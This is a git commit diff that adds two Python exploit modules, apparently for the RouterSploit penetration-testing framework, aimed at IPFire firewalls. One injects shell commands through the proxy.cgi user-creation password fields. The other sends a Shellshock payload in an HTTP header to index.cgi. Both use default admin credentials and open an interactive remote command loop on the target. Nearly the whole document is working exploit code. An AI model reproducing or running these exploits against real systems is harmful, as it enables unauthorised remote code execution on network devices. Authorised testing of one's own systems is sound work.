IPFire Shellshock and Proxy RCE exploits.

gitcollect · Jun 1, 2016 · 7cbd0c0 · 7cbd0c0
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diff --git a/routersploit/modules/exploits/ipfire/__init__.py b/routersploit/modules/exploits/ipfire/__init__.py
diff --git a/routersploit/modules/exploits/ipfire/ipfire_proxy_rce.py b/routersploit/modules/exploits/ipfire/ipfire_proxy_rce.py
@@ -0,0 +1,96 @@
+from routersploit import (
+    exploits,
+    print_error,
+    print_success,
+    print_status,
+    random_text,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for IPFire < 2.19 Core Update 101  Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
+    """
+    __info__ = {
+        'name': 'IPFire Proxy RCE',
+        'description': 'Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing command on operating system level.',
+        'authors': [
+            'Yann CAM',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/39765/',
+            'http://www.ipfire.org/news/ipfire-2-19-core-update-101-released',
+        ],
+        'devices': [
+            'IPFire < 2.19 Core Update 101',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(444, 'Target Port')
+
+    username = exploits.Option('admin', 'Username to log in with')
+    password = exploits.Option('admin', 'Password to log in with')
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            shell(self, architecture="none", method="awk", binary="awk")
+        else:
+            print_error("Target is not vulnerable")
+
+    def command_loop(self):
+        while 1:
+            cmd = raw_input("cmd > ")
+
+            if cmd in ['exit', 'quit']:
+                return
+
+            print self.execute(cmd)
+
+    @mute
+    def execute(self, cmd):
+        url = "{}:{}/cgi-bin/proxy.cgi".format(self.target, self.port)
+
+        headers = {u'Content-Type': u'application/x-www-form-urlencoded',
+                   u'Referer': url}
+
+        payload = "||{};#".format(cmd)
+
+        data = {"NCSA_USERNAME": random_text(12),
+                "NCSA_GROUP": "standard",
+                "NCSA_PASS": payload,
+                "NCSA_PASS_CONFIRM": payload,
+                "SUBMIT": "Create+user",
+                "ACTION": "Add",
+                "NCSA_MIN_PASS_LEN": "6"}
+
+        response = http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password), timeout=10)
+        if response is None:
+            return ""
+
+        end = response.text.find("<!DOCTYPE html>")
+
+        if end:
+            return response.text[:end]
+
+        return ""
+
+    @mute
+    def check(self):
+        mark = random_text(32)
+        cmd = "echo {}".format(mark)
+
+        response = self.execute(cmd)
+
+        if mark in response:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable
diff --git a/routersploit/modules/exploits/ipfire/ipfire_shellshock.py b/routersploit/modules/exploits/ipfire/ipfire_shellshock.py
@@ -0,0 +1,101 @@
+from routersploit import (
+    exploits,
+    print_status,
+    print_error,
+    print_success,
+    print_info,
+    random_text,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Shellshock vulnerability in IPFire <= 2.15 Core Update 82.
+    If the target is vulnerable it allows to execute command on operating system level.
+    """
+    __info__ = {
+        'name': 'IPFire Shellshock',
+        'description': 'Exploits shellshock vulnerability in IPFire M= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level.',
+        'authors': [
+            'Claudio Viviani',  # vulnerability discovery
+            'Marcin Bury <[email protected]>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/34839',
+        ],
+        'devices': [
+             'IPFire <= 2.15 Core Update 82',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(444, 'Target port')  # default port
+
+    username = exploits.Option('admin', 'Username to log in with')
+    password = exploits.Option('admin', 'Password to log in with')
+
+    payload = "() { :;}; /bin/bash -c '{{cmd}}'"
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            self.command_loop()
+        else:
+            print_error("Target is not vulnerable")
+
+    def command_loop(self):
+        while 1:
+            cmd = raw_input("cmd > ")
+
+            if cmd in ['exit', 'quit']:
+                return
+
+            print_info(self.execute(cmd))
+
+    def execute(self, cmd):
+        url = "{}:{}/cgi-bin/index.cgi".format(self.target, self.port)
+
+        marker = random_text(32)
+        cmd = "echo {};{};echo{}".format(marker, cmd, marker)
+        payload = self.payload.replace("{{cmd}}", cmd)
+
+        headers = {
+            'VULN': payload,
+        }
+
+        response = http_request(method="GET", url=url, headers=headers, auth=(self.username, self.password))
+        if response is None:
+            return ""
+
+        if response.status_code == 200:
+            start = response.text.find(marker) + len(marker) + 1 # marker and whitespace
+            end = response.text.find(marker, start) - 48
+
+            return response.text[start:end]
+
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/cgi-bin/index.cgi".format(self.target, self.port)
+
+        marker = random_text(32)
+        cmd = "echo {}".format(marker)
+        payload = self.payload.replace("{{cmd}}", cmd)
+
+        headers = {
+            'VULN': payload,
+        }
+
+        response = http_request(method="GET", url=url, headers=headers, auth=(self.username, self.password))
+        if response is None:
+            return False  # target is not vulnerable
+
+        if response.status_code == 200 and marker in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable